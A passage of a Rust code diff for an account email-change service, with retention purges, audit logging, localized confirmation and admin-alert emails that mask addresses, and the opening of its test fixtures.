| 889 | + /// Opportunistic retention purge, scoped to a single user. | |
| 890 | + /// | |
| 891 | + /// Belt and braces for consumers that never start | |
| 892 | + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor): | |
| 893 | + /// rows of **this** user older than the retention window disappear on the | |
| 894 | + /// next request. Rows of other users are untouched. | |
| 895 | + async fn purge_stale_requests_for_user( | |
| 896 | + db: &DatabaseConnection, | |
| 897 | + user_id: Uuid, | |
| 898 | + ) -> Result<u64, AppError> { | |
| 899 | + let cutoff = Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS); | |
| 900 | + let result = pending_email_change::Entity::delete_many() | |
| 901 | + .filter( | |
| 902 | + Condition::all() | |
| 903 | + .add(pending_email_change::Column::UserId.eq(user_id)) | |
| 904 | + .add(pending_email_change::Column::ExpiresAt.lt(cutoff)), | |
| 905 | + ) | |
| 906 | + .exec(db) | |
| 907 | + .await?; | |
| 908 | + Ok(result.rows_affected) | |
| 909 | + } | |
| 910 | + | |
| 911 | + /// Translate a concurrent `users.email` unique violation into the same | |
| 912 | + /// user-facing `Validation` as the explicit uniqueness pre-check. | |
| 913 | + /// | |
| 914 | + /// The `UNIQUE` constraint on `users.email` closes the residual race | |
| 915 | + /// between the `SELECT` and the `UPDATE`; surfacing it as a 500 would be | |
| 916 | + /// both wrong and unhelpful. | |
| 917 | + fn map_email_write_error(err: sea_orm::DbErr) -> AppError { | |
| 918 | + let text = err.to_string().to_lowercase(); | |
| 919 | + if text.contains("duplicate key") | |
| 920 | + || text.contains("unique constraint") | |
| 921 | + || text.contains("unique violation") | |
| 922 | + { | |
| 923 | + AppError::Validation(EMAIL_NO_LONGER_AVAILABLE.to_string()) | |
| 924 | + } else { | |
| 925 | + AppError::Database(err) | |
| 926 | + } | |
| 927 | + } | |
| 928 | + | |
| 929 | + /// Insert an `audit_logs` row. Best-effort: a logging failure must never | |
| 930 | + /// undo an identity change that is already committed. | |
| 931 | + async fn write_audit_log( | |
| 932 | + db: &DatabaseConnection, | |
| 933 | + action: &str, | |
| 934 | + level: &str, | |
| 935 | + user_id: Option<Uuid>, | |
| 936 | + target_user_id: Option<Uuid>, | |
| 937 | + message: String, | |
| 938 | + ) { | |
| 939 | + let log = audit_log::ActiveModel { | |
| 940 | + id: Set(Uuid::new_v4()), | |
| 941 | + user_id: Set(user_id), | |
| 942 | + action: Set(action.to_string()), | |
| 943 | + target_user_id: Set(target_user_id), | |
| 944 | + level: Set(level.to_string()), | |
| 945 | + message: Set(message), | |
| 946 | + created_at: Set(Utc::now()), | |
| 947 | + actor_remote_identity_id: Set(None), | |
| 948 | + target_remote_identity_id: Set(None), | |
| 949 | + }; | |
| 950 | + if let Err(e) = log.insert(db).await { | |
| 951 | + tracing::warn!("Failed to write email-change audit log ({}): {}", action, e); | |
| 952 | + } | |
| 953 | + } | |
| 954 | + | |
| 955 | + /// Recipient locale: `user_preferences.language`, falling back to | |
| 956 | + /// [`config::tasks::default_locale`](crate::config::tasks::default_locale). | |
| 957 | + async fn locale_for(db: &DatabaseConnection, user_id: Uuid) -> String { | |
| 958 | + match UserPreferencesService::get_preferences(db, user_id).await { | |
| 959 | + Ok(Some(prefs)) => prefs.language, | |
| 960 | + Ok(None) => crate::config::tasks::default_locale(), | |
| 961 | + Err(e) => { | |
| 962 | + tracing::warn!( | |
| 963 | + user_id = %user_id, | |
| 964 | + "Failed to read user preferences for email locale: {}", | |
| 965 | + e | |
| 966 | + ); | |
| 967 | + crate::config::tasks::default_locale() | |
| 968 | + } | |
| 969 | + } | |
| 970 | + } | |
| 971 | + | |
| 972 | + /// Translate `key` for `locale`, falling back to `fallback` when no | |
| 973 | + /// [`I18nService`] is attached or the key is missing. | |
| 974 | + async fn tr(&self, key: &str, locale: &str, fallback: &str) -> String { | |
| 975 | + self.tr_vars(key, locale, fallback, &[]).await | |
| 976 | + } | |
| 977 | + | |
| 978 | + /// Translate `key` for `locale` with `{placeholder}` substitution. | |
| 979 | + /// | |
| 980 | + /// Placeholders are applied to the translation **and** to the fallback, so | |
| 981 | + /// a headless deployment without locale files renders the same sentences. | |
| 982 | + async fn tr_vars( | |
| 983 | + &self, | |
| 984 | + key: &str, | |
| 985 | + locale: &str, | |
| 986 | + fallback: &str, | |
| 987 | + vars: &[(&str, &str)], | |
| 988 | + ) -> String { | |
| 989 | + match &self.i18n { | |
| 990 | + Some(i18n) => { | |
| 991 | + let map: HashMap<String, String> = vars | |
| 992 | + .iter() | |
| 993 | + .map(|(k, v)| ((*k).to_string(), (*v).to_string())) | |
| 994 | + .collect(); | |
| 995 | + let value = i18n.translate_with_vars(key, locale, &map).await; | |
| 996 | + // `I18nService::translate` echoes the key when it is unknown. | |
| 997 | + if value == key { | |
| 998 | + Self::interpolate(fallback, vars) | |
| 999 | + } else { | |
| 1000 | + value | |
| 1001 | + } | |
| 1002 | + } | |
| 1003 | + None => Self::interpolate(fallback, vars), | |
| 1004 | + } | |
| 1005 | + } | |
| 1006 | + | |
| 1007 | + /// Replace every `{name}` occurrence of `vars` in `template`. | |
| 1008 | + fn interpolate(template: &str, vars: &[(&str, &str)]) -> String { | |
| 1009 | + let mut out = template.to_string(); | |
| 1010 | + for (name, value) in vars { | |
| 1011 | + out = out.replace(&format!("{{{name}}}"), value); | |
| 1012 | + } | |
| 1013 | + out | |
| 1014 | + } | |
| 1015 | + | |
| 1016 | + /// Last-resort HTML body when an Askama render fails. | |
| 1017 | + /// | |
| 1018 | + /// Keeps the flow usable instead of dropping the email: the text body is | |
| 1019 | + /// already complete, it is simply wrapped in a minimal document. | |
| 1020 | + fn html_fallback(text: &str) -> String { | |
| 1021 | + format!( | |
| 1022 | + "<!DOCTYPE html><html><body><pre>{}</pre></body></html>", | |
| 1023 | + sanitize_email_content(text) | |
| 1024 | + ) | |
| 1025 | + } | |
| 1026 | + | |
| 1027 | + /// Render an email template, falling back to the plain-text body wrapped | |
| 1028 | + /// in minimal HTML if rendering fails. | |
| 1029 | + fn render_or_fallback( | |
| 1030 | + rendered: Result<String, askama::Error>, | |
| 1031 | + text: &str, | |
| 1032 | + which: &str, | |
| 1033 | + ) -> String { | |
| 1034 | + match rendered { | |
| 1035 | + Ok(html) => html, | |
| 1036 | + Err(e) => { | |
| 1037 | + tracing::warn!("Failed to render {} email template: {}", which, e); | |
| 1038 | + Self::html_fallback(text) | |
| 1039 | + } | |
| 1040 | + } | |
| 1041 | + } | |
| 1042 | + | |
| 1043 | + /// Build `(subject, html, text)` of the confirmation email sent to the | |
| 1044 | + /// candidate address. | |
| 1045 | + async fn build_validation_email( | |
| 1046 | + &self, | |
| 1047 | + locale: &str, | |
| 1048 | + username: &str, | |
| 1049 | + confirm_url: &str, | |
| 1050 | + hours: i64, | |
| 1051 | + ) -> (String, String, String) { | |
| 1052 | + let app_name = crate::config::app::default_app_name(); | |
| 1053 | + let hours = hours.to_string(); | |
| 1054 | + let subject = self | |
| 1055 | + .tr( | |
| 1056 | + "email_change.validation_subject", | |
| 1057 | + locale, | |
| 1058 | + "Confirm your new email address", | |
| 1059 | + ) | |
| 1060 | + .await; | |
| 1061 | + let template = EmailChangeValidationTemplate { | |
| 1062 | + locale: locale.to_string(), | |
| 1063 | + app_name: app_name.clone(), | |
| 1064 | + title: self | |
| 1065 | + .tr( | |
| 1066 | + "email_change.validation_title", | |
| 1067 | + locale, | |
| 1068 | + "Confirm your new email address", | |
| 1069 | + ) | |
| 1070 | + .await, | |
| 1071 | + greeting: self | |
| 1072 | + .tr_vars( | |
| 1073 | + "email_change.greeting", | |
| 1074 | + locale, | |
| 1075 | + "Hello {username},", | |
| 1076 | + &[("username", username)], | |
| 1077 | + ) | |
| 1078 | + .await, | |
| 1079 | + intro: self | |
| 1080 | + .tr_vars( | |
| 1081 | + "email_change.validation_intro", | |
| 1082 | + locale, | |
| 1083 | + "An email-change request was opened for your {app_name} account. Open the \ | |
| 1084 | + confirmation page below and confirm the change there to complete it.", | |
| 1085 | + &[("app_name", &app_name)], | |
| 1086 | + ) | |
| 1087 | + .await, | |
| 1088 | + expires: self | |
| 1089 | + .tr_vars( | |
| 1090 | + "email_change.validation_expires", | |
| 1091 | + locale, | |
| 1092 | + "This link is valid for {hours} hour(s).", | |
| 1093 | + &[("hours", &hours)], | |
| 1094 | + ) | |
| 1095 | + .await, | |
| 1096 | + ignore_notice: self | |
| 1097 | + .tr( | |
| 1098 | + "email_change.validation_ignore", | |
| 1099 | + locale, | |
| 1100 | + "If you did not request this change, simply ignore this message: nothing has \ | |
| 1101 | + been modified and the link will expire on its own.", | |
| 1102 | + ) | |
| 1103 | + .await, | |
| 1104 | + button_label: self | |
| 1105 | + .tr( | |
| 1106 | + "email_change.validation_button", | |
| 1107 | + locale, | |
| 1108 | + "Open the confirmation page", | |
| 1109 | + ) | |
| 1110 | + .await, | |
| 1111 | + confirm_url: confirm_url.to_string(), | |
| 1112 | + fallback_label: self | |
| 1113 | + .tr( | |
| 1114 | + "email_change.fallback_label", | |
| 1115 | + locale, | |
| 1116 | + "Button not working? Copy this link into your browser:", | |
| 1117 | + ) | |
| 1118 | + .await, | |
| 1119 | + footer: self | |
| 1120 | + .tr( | |
| 1121 | + "email_change.footer", | |
| 1122 | + locale, | |
| 1123 | + "This email was sent automatically, please do not reply.", | |
| 1124 | + ) | |
| 1125 | + .await, | |
| 1126 | + current_year: Utc::now().year(), | |
| 1127 | + }; | |
| 1128 | + let text = template.render_text(); | |
| 1129 | + let html = | |
| 1130 | + Self::render_or_fallback(template.render_html(), &text, "email-change validation"); | |
| 1131 | + (subject, html, text) | |
| 1132 | + } | |
| 1133 | + | |
| 1134 | + /// Build `(subject, html, text)` of the notice sent to the current | |
| 1135 | + /// address. The candidate address is masked, and no confirmation link is | |
| 1136 | + /// ever included. | |
| 1137 | + async fn build_notice_email( | |
| 1138 | + &self, | |
| 1139 | + locale: &str, | |
| 1140 | + username: &str, | |
| 1141 | + report_url: &str, | |
| 1142 | + candidate_email: &str, | |
| 1143 | + ) -> (String, String, String) { | |
| 1144 | + let app_name = crate::config::app::default_app_name(); | |
| 1145 | + let masked = mask_email(candidate_email); | |
| 1146 | + let subject = self | |
| 1147 | + .tr( | |
| 1148 | + "email_change.notice_subject", | |
| 1149 | + locale, | |
| 1150 | + "An email-change request was opened on your account", | |
| 1151 | + ) | |
| 1152 | + .await; | |
| 1153 | + let template = EmailChangeNoticeTemplate { | |
| 1154 | + locale: locale.to_string(), | |
| 1155 | + app_name: app_name.clone(), | |
| 1156 | + title: self | |
| 1157 | + .tr("email_change.notice_title", locale, "Email-change request") | |
| 1158 | + .await, | |
| 1159 | + greeting: self | |
| 1160 | + .tr_vars( | |
| 1161 | + "email_change.greeting", | |
| 1162 | + locale, | |
| 1163 | + "Hello {username},", | |
| 1164 | + &[("username", username)], | |
| 1165 | + ) | |
| 1166 | + .await, | |
| 1167 | + intro: self | |
| 1168 | + .tr_vars( | |
| 1169 | + "email_change.notice_intro", | |
| 1170 | + locale, | |
| 1171 | + "A request to move your account to {email} has just been opened.", | |
| 1172 | + &[("email", &masked)], | |
| 1173 | + ) | |
| 1174 | + .await, | |
| 1175 | + unchanged: self | |
| 1176 | + .tr( | |
| 1177 | + "email_change.notice_unchanged", | |
| 1178 | + locale, | |
| 1179 | + "Your account has NOT changed: it still uses this address, which stays \ | |
| 1180 | + verified until the new one is confirmed.", | |
| 1181 | + ) | |
| 1182 | + .await, | |
| 1183 | + report_intro: self | |
| 1184 | + .tr( | |
| 1185 | + "email_change.notice_report_intro", | |
| 1186 | + locale, | |
| 1187 | + "If you are not the origin of this request, open the report page below to \ | |
| 1188 | + alert the administrators.", | |
| 1189 | + ) | |
| 1190 | + .await, | |
| 1191 | + button_label: self | |
| 1192 | + .tr("email_change.notice_button", locale, "Open the report page") | |
| 1193 | + .await, | |
| 1194 | + report_url: report_url.to_string(), | |
| 1195 | + fallback_label: self | |
| 1196 | + .tr( | |
| 1197 | + "email_change.fallback_label", | |
| 1198 | + locale, | |
| 1199 | + "Button not working? Copy this link into your browser:", | |
| 1200 | + ) | |
| 1201 | + .await, | |
| 1202 | + footer: self | |
| 1203 | + .tr( | |
| 1204 | + "email_change.footer", | |
| 1205 | + locale, | |
| 1206 | + "This email was sent automatically, please do not reply.", | |
| 1207 | + ) | |
| 1208 | + .await, | |
| 1209 | + current_year: Utc::now().year(), | |
| 1210 | + }; | |
| 1211 | + let text = template.render_text(); | |
| 1212 | + let html = Self::render_or_fallback(template.render_html(), &text, "email-change notice"); | |
| 1213 | + (subject, html, text) | |
| 1214 | + } | |
| 1215 | + | |
| 1216 | + /// Build `(subject, html, text)` of the alert sent to administrators when | |
| 1217 | + /// a request is reported. Both addresses are masked. | |
| 1218 | + async fn build_reported_admin_email( | |
| 1219 | + &self, | |
| 1220 | + locale: &str, | |
| 1221 | + target_username: &str, | |
| 1222 | + current_email: &str, | |
| 1223 | + candidate_email: &str, | |
| 1224 | + reported_at: &str, | |
| 1225 | + ) -> (String, String, String) { | |
| 1226 | + let app_name = crate::config::app::default_app_name(); | |
| 1227 | + let masked_old = mask_email(current_email); | |
| 1228 | + let masked_new = mask_email(candidate_email); | |
| 1229 | + let subject = self | |
| 1230 | + .tr( | |
| 1231 | + "email_change.reported_admin_subject", | |
| 1232 | + locale, | |
| 1233 | + "Email change reported by a user", | |
| 1234 | + ) | |
| 1235 | + .await; | |
| 1236 | + let template = EmailChangeReportedAdminTemplate { | |
| 1237 | + locale: locale.to_string(), | |
| 1238 | + app_name: app_name.clone(), | |
| 1239 | + title: self | |
| 1240 | + .tr( | |
| 1241 | + "email_change.reported_admin_title", | |
| 1242 | + locale, | |
| 1243 | + "Email change reported", | |
| 1244 | + ) | |
| 1245 | + .await, | |
| 1246 | + intro: self | |
| 1247 | + .tr_vars( | |
| 1248 | + "email_change.reported_admin_intro", | |
| 1249 | + locale, | |
| 1250 | + "User {username} reported an email-change request they state they did not \ | |
| 1251 | + initiate.", | |
| 1252 | + &[("username", target_username)], | |
| 1253 | + ) | |
| 1254 | + .await, | |
| 1255 | + details: self | |
| 1256 | + .tr_vars( | |
| 1257 | + "email_change.reported_admin_details", | |
| 1258 | + locale, | |
| 1259 | + "Current address: {old_email} — requested address: {new_email} — report \ | |
| 1260 | + received on {reported_at}.", | |
| 1261 | + &[ | |
| 1262 | + ("old_email", &masked_old), | |
| 1263 | + ("new_email", &masked_new), | |
| 1264 | + ("reported_at", reported_at), | |
| 1265 | + ], | |
| 1266 | + ) | |
| 1267 | + .await, | |
| 1268 | + not_blocked: self | |
| 1269 | + .tr( | |
| 1270 | + "email_change.reported_admin_not_blocked", | |
| 1271 | + locale, | |
| 1272 | + "The change is NOT blocked: if the confirmation link is followed, the address \ | |
| 1273 | + will be updated. Step in if the situation warrants it.", | |
| 1274 | + ) | |
| 1275 | + .await, | |
| 1276 | + footer: self | |
| 1277 | + .tr( | |
| 1278 | + "email_change.footer", | |
| 1279 | + locale, | |
| 1280 | + "This email was sent automatically, please do not reply.", | |
| 1281 | + ) | |
| 1282 | + .await, | |
| 1283 | + current_year: Utc::now().year(), | |
| 1284 | + }; | |
| 1285 | + let text = template.render_text(); | |
| 1286 | + let html = | |
| 1287 | + Self::render_or_fallback(template.render_html(), &text, "email-change report alert"); | |
| 1288 | + (subject, html, text) | |
| 1289 | + } | |
| 1290 | + | |
| 1291 | + /// Build `(subject, html, text)` of the link-less notice sent to both | |
| 1292 | + /// addresses after an operator-driven change. | |
| 1293 | + async fn build_by_admin_email( | |
| 1294 | + &self, | |
| 1295 | + locale: &str, | |
| 1296 | + username: &str, | |
| 1297 | + previous_email: &str, | |
| 1298 | + new_email: &str, | |
| 1299 | + ) -> (String, String, String) { | |
| 1300 | + let app_name = crate::config::app::default_app_name(); | |
| 1301 | + let masked_old = mask_email(previous_email); | |
| 1302 | + let masked_new = mask_email(new_email); | |
| 1303 | + let subject = self | |
| 1304 | + .tr( | |
| 1305 | + "email_change.by_admin_subject", | |
| 1306 | + locale, | |
| 1307 | + "Your email address was changed by an administrator", | |
| 1308 | + ) | |
| 1309 | + .await; | |
| 1310 | + let template = EmailChangeByAdminTemplate { | |
| 1311 | + locale: locale.to_string(), | |
| 1312 | + app_name: app_name.clone(), | |
| 1313 | + title: self | |
| 1314 | + .tr( | |
| 1315 | + "email_change.by_admin_title", | |
| 1316 | + locale, | |
| 1317 | + "Email address changed by an administrator", | |
| 1318 | + ) | |
| 1319 | + .await, | |
| 1320 | + greeting: self | |
| 1321 | + .tr_vars( | |
| 1322 | + "email_change.greeting", | |
| 1323 | + locale, | |
| 1324 | + "Hello {username},", | |
| 1325 | + &[("username", username)], | |
| 1326 | + ) | |
| 1327 | + .await, | |
| 1328 | + intro: self | |
| 1329 | + .tr_vars( | |
| 1330 | + "email_change.by_admin_intro", | |
| 1331 | + locale, | |
| 1332 | + "The email address of your {app_name} account was changed by an administrator.", | |
| 1333 | + &[("app_name", &app_name)], | |
| 1334 | + ) | |
| 1335 | + .await, | |
| 1336 | + details: self | |
| 1337 | + .tr_vars( | |
| 1338 | + "email_change.by_admin_details", | |
| 1339 | + locale, | |
| 1340 | + "Previous address: {old_email} — new address: {new_email}.", | |
| 1341 | + &[("old_email", &masked_old), ("new_email", &masked_new)], | |
| 1342 | + ) | |
| 1343 | + .await, | |
| 1344 | + support: self | |
| 1345 | + .tr( | |
| 1346 | + "email_change.by_admin_support", | |
| 1347 | + locale, | |
| 1348 | + "No action is required on your side and there is nothing to confirm. If in \ | |
| 1349 | + doubt, contact support.", | |
| 1350 | + ) | |
| 1351 | + .await, | |
| 1352 | + footer: self | |
| 1353 | + .tr( | |
| 1354 | + "email_change.footer", | |
| 1355 | + locale, | |
| 1356 | + "This email was sent automatically, please do not reply.", | |
| 1357 | + ) | |
| 1358 | + .await, | |
| 1359 | + current_year: Utc::now().year(), | |
| 1360 | + }; | |
| 1361 | + let text = template.render_text(); | |
| 1362 | + let html = | |
| 1363 | + Self::render_or_fallback(template.render_html(), &text, "admin-forced email change"); | |
| 1364 | + (subject, html, text) | |
| 1365 | + } | |
| 1366 | + | |
| 1367 | + /// Queue one alert per administrator after a report. Best-effort. | |
| 1368 | + async fn notify_admins_of_report( | |
| 1369 | + &self, | |
| 1370 | + db: &DatabaseConnection, | |
| 1371 | + user_id: Uuid, | |
| 1372 | + candidate_email: &str, | |
| 1373 | + ) { | |
| 1374 | + let admins = match UserService::get_all_admin_users(db).await { | |
| 1375 | + Ok(admins) => admins, | |
| 1376 | + Err(e) => { | |
| 1377 | + tracing::warn!( | |
| 1378 | + "Failed to list administrators for email-change report: {}", | |
| 1379 | + e | |
| 1380 | + ); | |
| 1381 | + return; | |
| 1382 | + } | |
| 1383 | + }; | |
| 1384 | + | |
| 1385 | + let target = UserService::get_user_by_id(db, user_id) | |
| 1386 | + .await | |
| 1387 | + .ok() | |
| 1388 | + .flatten(); | |
| 1389 | + let target_username = target | |
| 1390 | + .as_ref() | |
| 1391 | + .map(|u| u.username.clone()) | |
| 1392 | + .unwrap_or_else(|| user_id.to_string()); | |
| 1393 | + // Masked in the template; an operator mailbox does not need the | |
| 1394 | + // clear-text address, the durable trail lives in `audit_logs`. | |
| 1395 | + let target_email = target.map(|u| u.email).unwrap_or_default(); | |
| 1396 | + let reported_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string(); | |
| 1397 | + | |
| 1398 | + for admin in admins { | |
| 1399 | + let locale = Self::locale_for(db, admin.id).await; | |
| 1400 | + let (subject, body_html, body_text) = self | |
| 1401 | + .build_reported_admin_email( | |
| 1402 | + &locale, | |
| 1403 | + &target_username, | |
| 1404 | + &target_email, | |
| 1405 | + candidate_email, | |
| 1406 | + &reported_at, | |
| 1407 | + ) | |
| 1408 | + .await; | |
| 1409 | + if let Err(e) = EmailQueueService::enqueue( | |
| 1410 | + db, | |
| 1411 | + admin.email.clone(), | |
| 1412 | + Some(admin.username.clone()), | |
| 1413 | + self.email_config.smtp_from.clone(), | |
| 1414 | + self.email_config.smtp_from_name.clone(), | |
| 1415 | + subject, | |
| 1416 | + body_html, | |
| 1417 | + body_text, | |
| 1418 | + "email_change_reported".to_string(), | |
| 1419 | + ) | |
| 1420 | + .await | |
| 1421 | + { | |
| 1422 | + tracing::warn!( | |
| 1423 | + admin_id = %admin.id, | |
| 1424 | + "Failed to queue email-change report alert: {}", | |
| 1425 | + e | |
| 1426 | + ); | |
| 1427 | + } | |
| 1428 | + } | |
| 1429 | + } | |
| 1430 | + | |
| 1431 | + /// Queue the two link-less notices after an operator-driven change. | |
| 1432 | + /// Best-effort: the write is already committed. | |
| 1433 | + async fn notify_admin_forced_change( | |
| 1434 | + &self, | |
| 1435 | + db: &DatabaseConnection, | |
| 1436 | + user_id: Uuid, | |
| 1437 | + username: &str, | |
| 1438 | + previous_email: &str, | |
| 1439 | + new_email: &str, | |
| 1440 | + ) { | |
| 1441 | + let locale = Self::locale_for(db, user_id).await; | |
| 1442 | + let (subject, body_html, body_text) = self | |
| 1443 | + .build_by_admin_email(&locale, username, previous_email, new_email) | |
| 1444 | + .await; | |
| 1445 | + | |
| 1446 | + for recipient in [previous_email, new_email] { | |
| 1447 | + if let Err(e) = EmailQueueService::enqueue( | |
| 1448 | + db, | |
| 1449 | + recipient.to_string(), | |
| 1450 | + Some(username.to_string()), | |
| 1451 | + self.email_config.smtp_from.clone(), | |
| 1452 | + self.email_config.smtp_from_name.clone(), | |
| 1453 | + subject.clone(), | |
| 1454 | + body_html.clone(), | |
| 1455 | + body_text.clone(), | |
| 1456 | + "email_change_by_admin".to_string(), | |
| 1457 | + ) | |
| 1458 | + .await | |
| 1459 | + { | |
| 1460 | + tracing::warn!( | |
| 1461 | + user_id = %user_id, | |
| 1462 | + "Failed to queue admin email-change notice: {}", | |
| 1463 | + e | |
| 1464 | + ); | |
| 1465 | + } | |
| 1466 | + } | |
| 1467 | + } | |
| 1468 | +} | |
| 1469 | + | |
| 1470 | +/// Serialises every test that plants or purges rows past the retention | |
| 1471 | +/// window. | |
| 1472 | +/// | |
| 1473 | +/// [`EmailChangeService::cleanup_expired`] deletes **every** such row, whoever | |
| 1474 | +/// owns it, so two retention tests running concurrently would purge each | |
| 1475 | +/// other's fixtures. Shared with `tasks::pending_email_change_cleanup`, which | |
| 1476 | +/// drives the same predicate from its processor. | |
| 1477 | +#[cfg(test)] | |
| 1478 | +pub(crate) static RETENTION_GUARD: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(()); | |
| 1479 | + | |
| 1480 | +#[cfg(test)] | |
| 1481 | +mod tests { | |
| 1482 | + use super::*; | |
| 1483 | + use crate::models::{email_queue, refresh_token}; | |
| 1484 | + use crate::services::role_service::RoleService; | |
| 1485 | + use async_trait::async_trait; | |
| 1486 | + use sea_orm::{PaginatorTrait, QueryOrder}; | |
| 1487 | + use std::sync::Mutex; | |
| 1488 | + | |
| 1489 | + /// Base URL of the links built by the service; the tests parse the token | |
| 1490 | + /// back out of the queued bodies, exactly like a human clicking them. | |
| 1491 | + const TEST_BASE_URL: &str = "https://rw.test"; | |
| 1492 | + | |
| 1493 | + /// One captured `on_audit_event` call, owned so the assertions can outlive | |
| 1494 | + /// the borrowed [`AuditEvent`]. | |
| 1495 | + #[derive(Clone, Debug)] | |
| 1496 | + struct CapturedEvent { | |
| 1497 | + kind: String, | |
| 1498 | + actor_id: Option<Uuid>, | |
| 1499 | + target: Option<(String, Uuid)>, | |
| 1500 | + metadata: serde_json::Value, | |
| 1501 | + } | |
| 1502 | + | |
| 1503 | + type AuditSink = Arc<Mutex<Vec<CapturedEvent>>>; | |
| 1504 | + type VerifiedSink = Arc<Mutex<Vec<Uuid>>>; | |
| 1505 | + | |
| 1506 | + /// Hooks impl forwarding every audit event to an externally-owned sink — | |
| 1507 | + /// same shape as `auth_logging::tests::CapturingHooks`, so no downcast is | |
| 1508 | + /// needed once the value is erased behind `Arc<dyn RustwardenHooks>`. | |
| 1509 | + struct CapturingHooks { | |
| 1510 | + audit: AuditSink, | |
| 1511 | + verified: VerifiedSink, | |
| 1512 | + } | |
| 1513 | + | |
| 1514 | + #[async_trait] | |
| 1515 | + impl RustwardenHooks for CapturingHooks { | |
| 1516 | + async fn on_audit_event( | |
| 1517 | + &self, | |
| 1518 | + _db: &DatabaseConnection, | |
| 1519 | + event: AuditEvent<'_>, | |
| 1520 | + ) -> anyhow::Result<()> { | |
| 1521 | + self.audit.lock().expect("audit sink").push(CapturedEvent { | |
| 1522 | + kind: event.kind.to_string(), | |
| 1523 | + actor_id: event.actor_id, | |
| 1524 | + target: event.target.map(|(kind, id)| (kind.to_string(), id)), | |
| 1525 | + metadata: event.metadata.clone(), | |
| 1526 | + }); | |
| 1527 | + Ok(()) | |
| 1528 | + } | |
| 1529 | + | |
| 1530 | + async fn on_email_verified( | |
| 1531 | + &self, | |
| 1532 | + _db: &DatabaseConnection, | |
| 1533 | + user_id: Uuid, | |
| 1534 | + ) -> anyhow::Result<()> { | |
| 1535 | + self.verified.lock().expect("verified sink").push(user_id); | |
| 1536 | + Ok(()) | |
| 1537 | + } | |
| 1538 | + } | |
| 1539 | + | |
| 1540 | + fn capturing_hooks() -> (Arc<dyn RustwardenHooks>, AuditSink, VerifiedSink) { | |
| 1541 | + let audit = Arc::new(Mutex::new(Vec::new())); | |
| 1542 | + let verified = Arc::new(Mutex::new(Vec::new())); | |
| 1543 | + let hooks: Arc<dyn RustwardenHooks> = Arc::new(CapturingHooks { | |
| 1544 | + audit: audit.clone(), | |
| 1545 | + verified: verified.clone(), | |
| 1546 | + }); | |
| 1547 | + (hooks, audit, verified) | |
| 1548 | + } | |
| 1549 | + | |
| 1550 | + /// Per-test connection — see `personal_token_service::tests` for rationale. | |
| 1551 | + async fn test_db() -> DatabaseConnection { | |
| 1552 | + dotenvy::dotenv().ok(); | |
| 1553 | + let url = std::env::var("DATABASE_URL") | |
| 1554 | + .expect("DATABASE_URL required for email_change_service tests"); | |
| 1555 | + sea_orm::Database::connect(&url) | |
| 1556 | + .await | |
| 1557 | + .expect("connect to the test database") | |
| 1558 | + } | |
| 1559 | + | |
| 1560 | + fn dummy_email_config() -> EmailConfig { | |
| 1561 | + EmailConfig { | |
| 1562 | + smtp_host: "localhost".into(), | |
| 1563 | + smtp_port: 587, | |
| 1564 | + smtp_user: "u".into(), | |
| 1565 | + smtp_password: "p".into(), | |
| 1566 | + smtp_from: "from@example.test".into(), | |
| 1567 | + smtp_from_name: Some("Rustwarden Test".into()), | |
| 1568 | + smtp_use_tls: false, | |
| 1569 | + smtp_use_starttls: false, | |
| 1570 | + smtp_accept_invalid_certs: true, | |
| 1571 | + smtp_ca_cert_path: None, | |
| 1572 | + queue_batch_size: 10, | |
| 1573 | + queue_retry_attempts: 5, | |
| 1574 | + queue_retry_delay_seconds: 300, | |
| 1575 | + email_base_url: TEST_BASE_URL.into(), | |
| 1576 | + request_dsn: false, | |
| 1577 | + imap_host: None, | |
| 1578 | + imap_port: 993, | |
| 1579 | + imap_user: None, | |
| 1580 | + imap_password: None, | |
| 1581 | + imap_use_tls: true, | |
| 1582 | + imap_use_starttls: false, | |
| 1583 | + imap_accept_invalid_certs: false, | |
| 1584 | + imap_ca_cert_path: None, | |
| 1585 | + imap_mailbox: "INBOX".into(), | |
| 1586 | + imap_poll_interval_seconds: 300, | |
| 1587 | + } | |
| 1588 | + } | |
| 1589 | + | |
| 1590 | + /// Service backed by a **private** limiter: the process-wide `OnceLock` | |
| 1591 | + /// would otherwise leak budgets between tests running in the same binary. | |
| 1592 | + fn service() -> EmailChangeService { | |
| 1593 | + EmailChangeService::new_with_limiter(dummy_email_config(), RateLimitService::new()) | |
| 1594 | + } | |
| 1595 | + | |
| 1596 | + const PASSWORD: &str = "TestPassword1!"; | |
| 1597 | + | |
| 1598 | + /// Create a **verified** account, the realistic starting point: RFC 0041 | |
| 1599 | + /// protects an identity that has already been proven. | |
| 1600 | + async fn verified_user(db: &DatabaseConnection) -> user::Model { | |
| 1601 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 1602 | + let hash = crate::services::password_service::PasswordService::hash_password(PASSWORD) | |
| 1603 | + .await | |
| 1604 | + .expect("hash password"); | |
| 1605 | + let created = UserService::create_user( | |
| 1606 | + db, | |
| 1607 | + format!("ec-{}", &unique[..10]), | |
| 1608 | + format!("ec-{}@example.test", &unique[..10]), | |
| 1609 | + hash, | |
| 1610 | + false, | |
| 1611 | + ) | |
| 1612 | + .await | |
| 1613 | + .expect("create user"); | |
| 1614 | + | |
| 1615 | + let mut active: user::ActiveModel = created.into(); | |
| 1616 | + active.email_verified = Set(true); | |
| 1617 | + active.email_verified_at = Set(Some(Utc::now())); | |
| 1618 | + active.update(db).await.expect("mark verified") | |
| 1619 | + } | |
| 1620 | + | |
| 1621 | + /// Address nobody owns yet, unique per call. | |
| 1622 | + fn fresh_email() -> String { | |
| 1623 | + format!("cand-{}@example.test", Uuid::new_v4().simple()) | |
| 1624 | + } | |
| 1625 | + | |
| 1626 | + /// Latest queued mail of `email_type` addressed to `to_email`. | |
| 1627 | + async fn last_queued( | |
| 1628 | + db: &DatabaseConnection, | |
| 1629 | + to_email: &str, | |
| 1630 | + email_type: &str, | |
| 1631 | + ) -> Option<email_queue::Model> { | |
| 1632 | + email_queue::Entity::find() | |
| 1633 | + .filter(email_queue::Column::ToEmail.eq(to_email)) | |
| 1634 | + .filter(email_queue::Column::EmailType.eq(email_type)) | |
| 1635 | + .order_by_desc(email_queue::Column::CreatedAt) | |
| 1636 | + .one(db) | |
| 1637 | + .await | |
| 1638 | + .expect("query email_queue") | |
| 1639 | + } | |
| 1640 | + | |
